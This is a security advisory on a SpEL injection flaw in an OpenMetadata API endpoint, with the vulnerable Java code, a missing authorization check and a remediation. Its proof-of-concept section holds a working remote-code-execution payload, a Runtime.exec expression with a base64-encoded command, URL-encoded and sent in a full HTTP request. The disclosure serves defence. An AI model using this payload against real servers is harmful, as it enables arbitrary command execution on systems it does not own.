SpEL Injection in GET /api/v1/events/subscriptions/validation/condition/<expr> (GHSL-2023-235)

The ‎AlertUtil::validateExpression method evaluates an SpEL expression using getValue which by default uses the StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/events/subscriptions/validation/condition/<expression> endpoint passes user-controlled data AlertUtil::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.

Snippet from EventSubscriptionResource.java

  @GET
  @Path("/validation/condition/{expression}")
  @Operation(
      operationId = "validateCondition",
      summary = "Validate a given condition",
      description = "Validate a given condition expression used in filtering rules.",
      responses = {
        @ApiResponse(responseCode = "204", description = "No value is returned"),
        @ApiResponse(responseCode = "400", description = "Invalid expression")
      })
  public void validateCondition(
      @Context UriInfo uriInfo,
      @Context SecurityContext securityContext,
      @Parameter(description = "Expression to validate", schema = @Schema(type = "string")) @PathParam("expression")
          String expression) {
    AlertUtil.validateExpression(expression, Boolean.class);
  }

Snippet from AlertUtil.java

  public static <T> void validateExpression(String condition, Class<T> clz) {
    if (condition == null) {
      return;
    }
    Expression expression = parseExpression(condition);
    AlertsRuleEvaluator ruleEvaluator = new AlertsRuleEvaluator(null);
    try {
      expression.getValue(ruleEvaluator, clz);
    } catch (Exception exception) {
      // Remove unnecessary class details in the exception message
      String message = exception.getMessage().replaceAll("on type .*$", "").replaceAll("on object .*$", "");
      throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message));
    }
  }

In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and, therefore, any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.

This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.

Proof of concept

• Prepare the payload
  • Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==)
  • Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))
  • Encode the payload using URL encoding:

%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29

• Send the payload using a valid JWT token:

GET /api/v1/events/subscriptions/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29 HTTP/2
Host: sandbox.open-metadata.org
Authorization: Bearer <non-admin JWT>

• Verify that a file called /tmp/pwned was created in the OpenMetadata server

Impact

This issue may lead to Remote Code Execution.

Remediation

Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.